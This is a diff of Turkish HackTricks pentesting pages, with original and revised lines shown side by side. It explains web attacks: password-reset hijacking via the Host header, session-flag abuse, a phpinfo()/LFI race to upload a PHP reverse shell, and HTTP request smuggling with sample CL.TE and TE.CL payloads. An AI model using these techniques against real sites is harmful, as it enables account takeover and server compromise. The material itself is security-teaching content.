Arka uç, bazı işlemleri gerçekleştirmek için **Host başlığına** güvenebilir. Örneğin, bu değeri **şifre sıfırlamak için kullanılacak alan olarak** kullanabilir. Bu nedenle, şifre sıfırlama bağlantısı içeren bir e-posta aldığınızda, kullanılan alan, Host başlığına koyduğunuz alandır. Ardından, diğer kullanıcıların şifre sıfırlama taleplerini yapabilir ve alanı kontrolünüzde olan bir alanla değiştirerek şifre sıfırlama kodlarını çalabilirsiniz. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
{% hint style="warning" %}
Kullanıcının şifre sıfırlama bağlantısına tıklamasını beklemenize gerek olmadığını unutmayın, çünkü belki de **spam filtreleri veya diğer ara cihazlar/botlar bunu analiz etmek için tıklayabilir**.
@ -33,12 +33,12 @@ Kullanıcının şifre sıfırlama bağlantısına tıklamasını beklemenize ge
### Oturum boolean'ları
Bazen bazı doğrulamaları doğru tamamladığınızda arka uç, **oturumunuza bir güvenlik niteliğine "True" değeri ekleyebilir**. Ardından, farklı bir uç nokta bu kontrolü başarıyla geçip geçmediğinizi bilecektir.\
Ancak, eğer **kontrolü geçerseniz** ve oturumunuza güvenlik niteliğinde "True" değeri verilirse, **aynı niteliğe bağlı olan diğer kaynaklara erişmeyi** deneyebilirsiniz, ancak **erişim izniniz olmamalıdır**. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
Bazen bazı doğrulamaları doğru tamamladığınızda, arka uç **sadece oturumunuza bir güvenlik niteliğine "True" değeri ekler**. Ardından, farklı bir uç nokta bu kontrolü başarıyla geçip geçmediğinizi bilecektir.\
Ancak, eğer **kontrolü geçerseniz** ve oturumunuza güvenlik niteliğinde "True" değeri verilirse, **erişim izniniz olmaması gereken** ancak **aynı niteliğe bağlı olan diğer kaynaklara erişmeyi deneyebilirsiniz**. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
### Kayıt işlevselliği
Zaten mevcut bir kullanıcı olarak kaydolmayı deneyin. Eşdeğer karakterler (nokta, çok fazla boşluk ve Unicode) kullanmayı da deneyin.
Zaten mevcut bir kullanıcı olarak kaydolmayı deneyin. Eşdeğer karakterler (nokta, çok sayıda boşluk ve Unicode) kullanmayı da deneyin.
### E-postaları ele geçirme
@ -50,14 +50,14 @@ Bir e-posta kaydedin, onaylamadan önce e-postayı değiştirin, ardından, yeni
### TRACE yöntemi
Geliştiriciler, üretim ortamında çeşitli hata ayıklama seçeneklerini devre dışı bırakmayı unutabilir. Örneğin, HTTP `TRACE` yöntemi tanısal amaçlar için tasarlanmıştır. Eğer etkinse, web sunucusu `TRACE` yöntemini kullanan isteklere, alınan isteği yanıtında yankılayarak yanıt verecektir. Bu davranış genellikle zararsızdır, ancak bazen ters proxyler tarafından isteklere eklenebilecek dahili kimlik doğrulama başlıklarının adları gibi bilgi ifşasına yol açabilir.![Image for post](https://miro.medium.com/max/60/1\*wDFRADTOd9Tj63xucenvAA.png?q=20)
Geliştiriciler, üretim ortamında çeşitli hata ayıklama seçeneklerini devre dışı bırakmayı unutabilir. Örneğin, HTTP `TRACE` yöntemi tanısal amaçlar için tasarlanmıştır. Eğer etkinse, web sunucusu `TRACE` yöntemini kullanan isteklere, alınan isteği yanıtında yankılayarak yanıt verir. Bu davranış genellikle zararsızdır, ancak bazen, ters proxyler tarafından isteklere eklenebilecek dahili kimlik doğrulama başlıklarının adları gibi bilgi ifşasına yol açabilir.![Image for post](https://miro.medium.com/max/60/1\*wDFRADTOd9Tj63xucenvAA.png?q=20)
![Image for post](https://miro.medium.com/max/1330/1\*wDFRADTOd9Tj63xucenvAA.png)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için 20'den fazla özel aracımızı kullanarak, sıkı çalışmanızı ikna edici raporlara dönüştürün.
@ -72,7 +72,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking hilelerini paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -17,7 +17,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, yetki yükseltmenize izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
@ -156,7 +156,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
@ -164,8 +164,8 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -7,7 +7,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
@ -15,7 +15,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
@ -28,7 +28,7 @@ Bu güvenlik açığını istismar etmek için şunlara ihtiyacınız var: **Bir
**Eğitim HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s)
İstismarı düzeltmeniz gerekiyor ( **=>**'yi **=>** ile değiştirin). Bunu yapmak için şunları yapabilirsiniz:
İstismarı düzeltmeniz gerekiyor ( **=>** yerine **=>** değiştirin). Bunu yapmak için şunları yapabilirsiniz:
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
```
@ -38,17 +38,17 @@ You have to change also the **payload** at the beginning of the exploit (for a p
### Teori
Eğer PHP'de dosya yüklemelerine izin veriliyorsa ve bir dosya yüklemeye çalışıyorsanız, bu dosya sunucu isteği işleyene kadar geçici bir dizinde saklanır, ardından bu geçici dosya silinir.
Eğer PHP'de yüklemelere izin veriliyorsa ve bir dosya yüklemeye çalışıyorsanız, bu dosya sunucu isteği işleyene kadar geçici bir dizinde saklanır, ardından bu geçici dosya silinir.
Sonra, web sunucusunda bir LFI açığı bulduysanız, oluşturulan geçici dosyanın adını tahmin etmeye çalışabilir ve dosya silinmeden önce geçici dosyaya erişerek bir RCE'yi istismar edebilirsiniz.
**Windows**'ta dosyalar genellikle **C:\Windows\temp\php** dizininde saklanır.
**Linux**'ta dosyanın adı genellikle **rastgele** olup **/tmp** dizininde bulunur. Ad rastgele olduğu için, **geçici dosyanın adını bir yerden çıkarmak** ve silinmeden önce erişmek gereklidir. Bu, "**phpconfig()**" fonksiyonunun içeriğindeki **$\_FILES** değişkeninin değerini okuyarak yapılabilir.
**Linux**'ta dosyanın adı genellikle **rastgele** olup **/tmp** dizininde bulunur. Ad rastgele olduğu için, **geçici dosyanın adını bir yerden çıkarmak** ve silinmeden önce buna erişmek gerekir. Bu, "**phpconfig()**" fonksiyonunun içindeki **$\_FILES** değişkeninin değerini okuyarak yapılabilir.
**phpinfo()**
**PHP**, **4096B**'lik bir tampon kullanır ve tampon **dolu** olduğunda, **istemciye gönderilir**. Ardından istemci, **birçok büyük istek** (büyük başlıklar kullanarak) **yükleyerek bir php** ters **shell** yükleyebilir, **phpinfo()'un ilk kısmının geri dönmesini bekleyebilir** (geçici dosyanın adı burada bulunur) ve php sunucusu dosyayı silmeden önce LFI açığını istismar ederek **geçici dosyaya erişmeye** çalışabilir.
**PHP**, **4096B**'lik bir tampon kullanır ve tampon **dolu** olduğunda, **istemciye gönderilir**. Ardından istemci, **birçok büyük istek** (büyük başlıklar kullanarak) **php** ters **shell** yükleyebilir, **phpinfo()'nun ilk kısmının geri dönmesini bekleyebilir** (geçici dosyanın adı burada bulunur) ve LFI açığını istismar ederek php sunucusu dosyayı silmeden önce **geçici dosyaya erişmeye** çalışabilir.
**İsimleri brute force denemek için Python scripti (eğer uzunluk = 6)**
```python
@ -74,7 +74,7 @@ print('[x] Something went wrong, please try again')
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Bir hacker'ın web uygulamalarınız, ağınız ve bulut üzerindeki bakış açısını edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
@ -89,7 +89,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -17,15 +17,15 @@ GCP Hacking öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için 20'den fazla özel aracımızı kullanarak, sıkı çalışmanızı ikna edici raporlara dönüştürün.
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için 20'den fazla özel aracımızı kullanarak sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Nedir
Bu güvenlik açığı, **ön uç proxyleri** ile **arka uç** sunucusu arasında bir **senkronizasyon bozukluğu** olduğunda meydana gelir ve bu, bir **saldırganın** HTTP **isteği** göndermesine olanak tanır; bu istek **ön uç** proxyleri (yük dengeleme/ters proxy) tarafından **tek bir istek** olarak ve **arka uç** sunucusu tarafından **2 istek** olarak **yorumlanır**.\
Bu güvenlik açığı, **ön uç proxyleri** ile **arka uç** sunucu arasında bir **senkronizasyon bozukluğu** olduğunda meydana gelir ve bu, bir **saldırganın** HTTP **isteği** göndermesine olanak tanır; bu istek **ön uç** proxyleri tarafından **tek bir istek** olarak ve **arka uç** sunucu tarafından **2 istek** olarak **yorumlanır**.\
Bu, bir kullanıcının **arka uç sunucusuna gelen bir sonraki isteği değiştirmesine** olanak tanır.
### Teori
@ -45,24 +45,24 @@ Bu, bir kullanıcının **arka uç sunucusuna gelen bir sonraki isteği değişt
### Gerçeklik
**Ön Uç** (bir yük dengeleme / Ters Proxy) _**content-length**_ veya _**transfer-encoding**_ başlığını **işler** ve **Arka uç** sunucusu **diğerini** işleyerek iki sistem arasında bir **senkronizasyon bozukluğu** yaratır.\
Bu çok kritik olabilir çünkü **bir saldırgan, ters proxyye bir istek gönderebilir** ve bu istek **arka uç** sunucusu tarafından **2 farklı istek** olarak **yorumlanır**. Bu tekniğin **tehlikesi**, **arka uç** sunucusunun **enjekte edilen 2. isteği** sanki **bir sonraki istemciden geliyormuş** gibi **yorumlamasında** ve o istemcinin **gerçek isteğinin** **enjekte edilen isteğin** bir parçası olmasındadır.
**Ön Uç** (bir yük dengeleme / Ters Proxy) _**content-length**_ veya _**transfer-encoding**_ başlığını **işler** ve **Arka uç** sunucu **diğerini işler**, bu da iki sistem arasında bir **senkronizasyon bozukluğu** yaratır.\
Bu çok kritik olabilir çünkü **bir saldırgan, ters proxyye bir istek gönderebilir** ve bu istek **arka uç** sunucu tarafından **2 farklı istek** olarak **yorumlanır**. Bu tekniğin **tehlikesi**, **arka uç** sunucunun **enjekte edilen 2. isteği** sanki **bir sonraki istemciden geliyormuş gibi** **yorumlaması** ve o istemcinin **gerçek isteğinin** **enjekte edilen isteğin** **bir parçası** olmasıdır.
### Özellikler
HTTP'de **yeni bir satır karakterinin 2 bayttan oluştuğunu** unutmayın:
HTTP'de **yeni bir satır karakteri 2 bayttan oluşur:**
* **Content-Length**: Bu başlık, isteğin **gövdesinin** **bayt** sayısını belirtmek için bir **ondalık sayı** kullanır. Gövdenin son karakterde bitmesi beklenir, **isteğin sonunda yeni bir satıra gerek yoktur**.
* **Transfer-Encoding:** Bu başlık, **bir sonraki parçanın** **bayt** sayısını belirtmek için **gövde** içinde bir **onaltılık sayı** kullanır. **Parça**, **yeni bir satırla** **bitmelidir** ancak bu yeni satır **uzunluk göstergesi tarafından sayılmaz**. Bu aktarım yöntemi, **0 boyutunda bir parça ile 2 yeni satırla** bitmelidir: `0`
* **Transfer-Encoding:** Bu başlık, **gövde** içinde bir **onaltılık sayı** kullanarak **bir sonraki parçanın** **bayt** sayısını belirtir. **Parça**, **yeni bir satır** ile **bitmelidir** ancak bu yeni satır **uzunluk göstergesi tarafından sayılmaz**. Bu aktarım yöntemi, **0 boyutunda bir parça ile 2 yeni satırla** bitmelidir: `0`
* **Connection**: Deneyimlerime dayanarak, istek Smuggling'in ilk isteğinde **`Connection: keep-alive`** kullanılması önerilir.
## Temel Örnekler
{% hint style="success" %}
Bunu Burp Suite ile istismar etmeye çalışırken **`Update Content-Length` ve `Normalize HTTP/1 line endings`** seçeneklerini repeater'da devre dışı bırakın çünkü bazı araçlar yeni satırları, taşıma dönüşlerini ve hatalı içerik uzunluklarını kötüye kullanır.
Bunu Burp Suite ile istismar etmeye çalışırken **`Update Content-Length` ve `Normalize HTTP/1 line endings`** seçeneklerini tekrar edicide devre dışı bırakın çünkü bazı araçlar yeni satırları, taşıma dönüşlerini ve hatalı içerik uzunluklarını kötüye kullanır.
{% endhint %}
HTTP istek smuggling saldırıları, ön uç ve arka uç sunucularının `Content-Length` (CL) ve `Transfer-Encoding` (TE) başlıklarını nasıl yorumladığındaki tutarsızlıklardan yararlanan belirsiz istekler göndererek oluşturulur. Bu saldırılar, esas olarak **CL.TE**, **TE.CL** ve **TE.TE** olarak farklı biçimlerde ortaya çıkabilir. Her tür, ön uç ve arka uç sunucularının bu başlıkları nasıl önceliklendirdiğinin benzersiz bir kombinasyonunu temsil eder. Güvenlik açıkları, sunucuların aynı isteği farklı şekillerde işlemesinden kaynaklanır ve beklenmedik ve potansiyel olarak kötü niyetli sonuçlara yol açar.
HTTP istek smuggling saldırıları, **Content-Length** (CL) ve **Transfer-Encoding** (TE) başlıklarının ön uç ve arka uç sunucular tarafından nasıl yorumlandığındaki tutarsızlıklardan yararlanan belirsiz istekler göndererek oluşturulur. Bu saldırılar, esas olarak **CL.TE**, **TE.CL** ve **TE.TE** olarak farklı biçimlerde ortaya çıkabilir. Her tür, ön uç ve arka uç sunucuların bu başlıkları nasıl önceliklendirdiğinin benzersiz bir kombinasyonunu temsil eder. Güvenlik açıkları, sunucuların aynı isteği farklı şekillerde işlemesinden kaynaklanır ve beklenmedik ve potansiyel olarak kötü niyetli sonuçlara yol açar.
### Güvenlik Açığı Türlerinin Temel Örnekleri
@ -78,8 +78,8 @@ HTTP istek smuggling saldırıları, ön uç ve arka uç sunucularının `Conten
* **Arka Uç (TE):** İsteği `Transfer-Encoding` başlığına göre işler.
* **Saldırı Senaryosu:**
* Saldırgan, `Content-Length` başlığının değeri gerçek içerik uzunluğuyla eşleşmeyen bir istek gönderir.
* Ön uç sunucusu, `Content-Length` değerine dayanarak tüm isteği arka uca iletir.
* Arka uç sunucusu, `Transfer-Encoding: chunked` başlığı nedeniyle isteği parça parça olarak işler ve kalan veriyi ayrı, sonraki bir istek olarak yorumlar.
* Ön uç sunucu, `Content-Length` değerine dayanarak tüm isteği arka uca iletir.
* Arka uç sunucu, `Transfer-Encoding: chunked` başlığı nedeniyle isteği parça parça olarak işler ve kalan veriyi ayrı, sonraki bir istek olarak yorumlar.
* **Örnek:**
```
@ -101,8 +101,8 @@ Foo: x
* **Arka Uç (CL):** İsteği `Content-Length` başlığına göre işler.
* **Saldırı Senaryosu:**
* Saldırgan, parça boyutunun (`7b`) ve gerçek içerik uzunluğunun (`Content-Length: 4`) uyum sağlamadığı bir parça isteği gönderir.
* Ön uç sunucusu, `Transfer-Encoding` başlığını dikkate alarak tüm isteği arka uca iletir.
* Arka uç sunucusu, `Content-Length` başlığını dikkate alarak isteğin yalnızca ilk kısmını (`7b` bayt) işler ve geri kalanını istenmeyen bir sonraki isteğin parçası olarak bırakır.
* Ön uç sunucu, `Transfer-Encoding`e saygı göstererek tüm isteği arka uca iletir.
* Arka uç sunucu, `Content-Length`e saygı göstererek isteğin yalnızca ilk kısmını (`7b` bayt) işler ve geri kalanını istenmeyen bir sonraki isteğin parçası olarak bırakır.
* **Örnek:**
```
@ -125,9 +125,9 @@ x=
#### TE.TE Güvenlik Açığı (Her ikisinde de Transfer-Encoding, obfuscation ile)
* **Sunucular:** Her ikisi de `Transfer-Encoding` destekler, ancak biri obfuscation yoluyla bunu göz ardı etmeye ikna edilebilir.
* **Sunucular:** Her ikisi de `Transfer-Encoding`i destekler, ancak biri obfuscation yoluyla bunu göz ardı etmeye ikna edilebilir.
* **Saldırı Senaryosu:**
* Saldırgan, obfuscate edilmiş `Transfer-Encoding` başlıklarıyla bir istek gönderir.
* Saldırgan, obfuscation içeren `Transfer-Encoding` başlıklarıyla bir istek gönderir.
* Hangi sunucunun (ön uç veya arka uç) obfuscation'ı tanımadığına bağlı olarak, bir CL.TE veya TE.CL güvenlik açığı istismar edilebilir.
* İsteğin işlenmemiş kısmı, sunuculardan biri tarafından görüldüğünde, sonraki bir isteğin parçası haline gelir ve smuggling'e yol açar.
* **Örnek:**
@ -152,7 +152,7 @@ Transfer-Encoding
#### **CL.CL Senaryosu (Her iki tarafta da Content-Length kullanılır)**
* Her iki sunucu da isteği yalnızca `Content-Length` başlığına dayanarak işler.
* Bu senaryo genellikle smuggling'e yol açmaz, çünkü her iki sunucunun istek uzunluğunu yorumlamasında bir uyum vardır.
* Bu senaryo genellikle smuggling'e yol açmaz, çünkü her iki sunucu da isteğin uzunluğunu yorumlama konusunda uyumludur.
* **Örnek:**
```
@ -166,7 +166,7 @@ Normal Request
#### **CL.0 Senaryosu**
* `Content-Length` başlığının mevcut olduğu ve sıfırdan farklı bir değere sahip olduğu senaryoları ifade eder; bu, istek gövdesinin içerik taşıdığını gösterir. Arka uç, `Content-Length` başlığını göz ardı eder (0 olarak kabul edilir), ancak ön uç bunu işler.
* `Content-Length` başlığının mevcut olduğu ve sıfırdan farklı bir değere sahip olduğu senaryoları ifade eder; bu, isteğin gövdesinin içerik taşıdığını gösterir. Arka uç, `Content-Length` başlığını göz ardı eder (0 olarak kabul edilir), ancak ön uç bunu işler.
* Smuggling saldırılarını anlamak ve oluşturmak için kritik öneme sahiptir, çünkü sunucuların bir isteğin sonunu belirlemesini etkiler.
* **Örnek:**
@ -182,7 +182,7 @@ Non-Empty Body
#### TE.0 Senaryosu
* Öncekine benzer ancak TE kullanarak.
* [Burada bildirilen teknik](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
* Teknik [burada rapor edilmiştir](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
* **Örnek**:
```
OPTIONS / HTTP/1.1
@ -203,13 +203,13 @@ EMPTY_LINE_HERE
```
#### Web sunucusunu kırma
Bu teknik, **ilk HTTP verilerini okurken bir web sunucusunu kırmanın** mümkün olduğu senaryolarda da faydalıdır, ancak **bağlantıyı kapatmadan**. Bu şekilde, HTTP isteğinin **gövdesi**, **bir sonraki HTTP isteği** olarak kabul edilecektir.
Bu teknik, **ilk HTTP verilerini okurken bir web sunucusunu kırmanın** mümkün olduğu senaryolarda da faydalıdır, ancak **bağlantıyı kapatmadan**. Bu şekilde, HTTP isteğinin **gövdesi** bir sonraki HTTP isteği olarak kabul edilecektir.
Örneğin, [**bu yazıda**](https://mizu.re/post/twisty-python) açıklandığı gibi, Werkzeug'ta bazı **Unicode** karakterleri göndermek mümkündü ve bu sunucunun **kırılmasına** neden oluyordu. Ancak, HTTP bağlantısı **`Connection: keep-alive`** başlığı ile oluşturulmuşsa, isteğin gövdesi okunmayacak ve bağlantı hala açık kalacak, bu nedenle isteğin **gövdesi** **bir sonraki HTTP isteği** olarak işlenecektir.
Örneğin, [**bu yazıda**](https://mizu.re/post/twisty-python) açıklandığı gibi, Werkzeug'ta bazı **Unicode** karakterleri göndermek mümkündü ve bu sunucunun **kırılmasına** neden oluyordu. Ancak, HTTP bağlantısı **`Connection: keep-alive`** başlığı ile oluşturulmuşsa, isteğin gövdesi okunmayacak ve bağlantı hala açık kalacaktır, bu nedenle isteğin **gövdesi** bir sonraki HTTP isteği olarak işlenecektir.
#### Hop-by-hop başlıkları ile zorlamak
Hop-by-hop başlıklarını kötüye kullanarak, proxy'ye **Content-Length veya Transfer-Encoding başlığını silmesini belirtebilir, böylece HTTP request smuggling kötüye kullanılabilir**.
Hop-by-hop başlıklarını kötüye kullanarak, proxy'ye **Content-Length veya Transfer-Encoding başlığını silmesini belirtebilir ve böylece HTTP request smuggling'in kötüye kullanılmasını sağlayabilirsiniz**.
```
Connection: Content-Length
```
@ -270,7 +270,7 @@ X
### Açıkları Bulmak için Diğer Yöntemler
* **Farklı Yanıt Analizi:**
* Bir isteğin hafifçe farklı versiyonlarını gönderin ve sunucu yanıtlarının beklenmedik bir şekilde farklı olup olmadığını gözlemleyin; bu, bir ayrıştırma tutarsızlığını gösterebilir.
* Bir isteğin hafifçe farklı versiyonlarını gönderin ve sunucu yanıtlarının beklenmedik bir şekilde farklı olup olmadığını gözlemleyin; bu, bir ayrıştırma tutarsızlığını gösterir.
* **Otomatik Araçlar Kullanma:**
* Burp Suite'in 'HTTP Request Smuggler' eklentisi gibi araçlar, çeşitli belirsiz istekler göndererek ve yanıtları analiz ederek bu açıkları otomatik olarak test edebilir.
* **Content-Length Varyans Testleri:**
@ -278,9 +278,9 @@ X
* **Transfer-Encoding Varyans Testleri:**
* Obfuscate edilmiş veya hatalı `Transfer-Encoding` başlıkları ile istekler gönderin ve ön uç ve arka uç sunucularının bu tür manipülasyonlara nasıl farklı yanıt verdiğini izleyin.
### HTTP İsteği Kaçırma Açıklığı Testi
### HTTP İsteği Kaçırma Açığı Testi
Zamanlama tekniklerinin etkinliğini doğruladıktan sonra, istemci isteklerinin manipüle edilip edilemeyeceğini doğrulamak önemlidir. Basit bir yöntem, isteklerinizi zehirlemeyi denemektir; örneğin, `/` isteği ile 404 yanıtı almak. Daha önce [Temel Örnekler](./#basic-examples) bölümünde tartışılan `CL.TE` ve `TE.CL` örnekleri, istemcinin farklı bir kaynağa erişmeye çalışmasına rağmen, istemci isteğini zehirleyerek 404 yanıtı almanın nasıl yapılacağını göstermektedir.
Zamanlama tekniklerinin etkinliğini doğruladıktan sonra, istemci isteklerinin manipüle edilip edilemeyeceğini kontrol etmek önemlidir. Basit bir yöntem, isteklerinizi zehirlemeyi denemektir; örneğin, `/` isteği göndererek 404 yanıtı almak. Daha önce [Temel Örnekler](./#basic-examples) bölümünde tartışılan `CL.TE` ve `TE.CL` örnekleri, istemcinin farklı bir kaynağa erişmeyi hedeflemesine rağmen, istemci isteğini zehirleyerek 404 yanıtı elde etmenin nasıl yapılacağını göstermektedir.
**Anahtar Dikkat Noktaları**
@ -292,13 +292,13 @@ Diğer isteklerle müdahale ederek istek kaçırma açıklarını test ederken,
* **Yük Dengeleme Zorlukları:** Yük dengeleyici olarak hareket eden ön uç sunucuları, istekleri çeşitli arka uç sistemlerine dağıtabilir. Eğer "saldırı" ve "normal" istekler farklı sistemlerde sonuçlanırsa, saldırı başarılı olmayacaktır. Bu yük dengeleme durumu, bir açığı doğrulamak için birkaç deneme gerektirebilir.
* **İstenmeyen Kullanıcı Etkisi:** Eğer saldırınız başka bir kullanıcının isteğini (gönderdiğiniz "normal" isteği değil) istemeden etkiliyorsa, bu, saldırınızın başka bir uygulama kullanıcısını etkilediğini gösterir. Sürekli test, diğer kullanıcıları rahatsız edebilir; bu nedenle dikkatli bir yaklaşım gereklidir.
